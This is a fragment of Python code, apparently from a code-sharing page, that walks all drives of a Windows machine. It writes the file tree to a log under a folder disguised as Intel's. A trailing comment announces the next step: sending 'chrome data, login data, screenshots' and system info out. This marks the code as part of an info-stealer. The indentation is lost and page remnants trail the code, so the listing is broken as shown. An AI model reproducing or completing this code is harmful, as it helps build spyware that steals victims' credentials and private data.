def DriveTree():
file_dir1 = 'C:\Users\Public\Intel\Logs\Dir_View.txt' #The drive hierarchy will be saved in this file
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
no_of_drives = len(drives)
file_dir_O = open(file_dir1, "w")
for d in range(no_of_drives):
try:
file_dir_O.write(str(drives[d]) + "\n")
directories = os.walk(drives[d])
next_dir = next(directories)
next_directories = next_dir[1]
next_files = next_dir[2]
next_final_dir = next_directories + next_files
for nd in next_final_dir:
file_dir_O.write(" " + str(nd) + "\n")
try:
sub_directories = os.walk(drives[d] + nd)
next_sub_dir = next(sub_directories)[1]
next_sub_sub_file = next(sub_directories)[2]
next_final_final_dir = next_sub_dir + next_sub_sub_file
for nsd in next_final_final_dir:
file_dir_O.write(" " + str(nsd) + "\n")
try:
sub_sub_directories = os.walk(drives[d] + nd + '\\' + nsd)
next_sub_sub_dir = next(sub_sub_directories)[1]
next_sub_sub_sub_file = next(sub_sub_directories)[2]
next_final_final_final_dir = next_sub_sub_dir + next_sub_sub_sub_file
for nssd in next_final_final_final_dir:
file_dir_O.write(" " + str(nssd) + "\n")
except Exception as e:
pass
except Exception as e:
pass
except Exception as e:
pass
file_dir_O.close()
return True
#Function to send the data i.e. info.txt, chrome data, login data, screenshots
评论列表
文章目录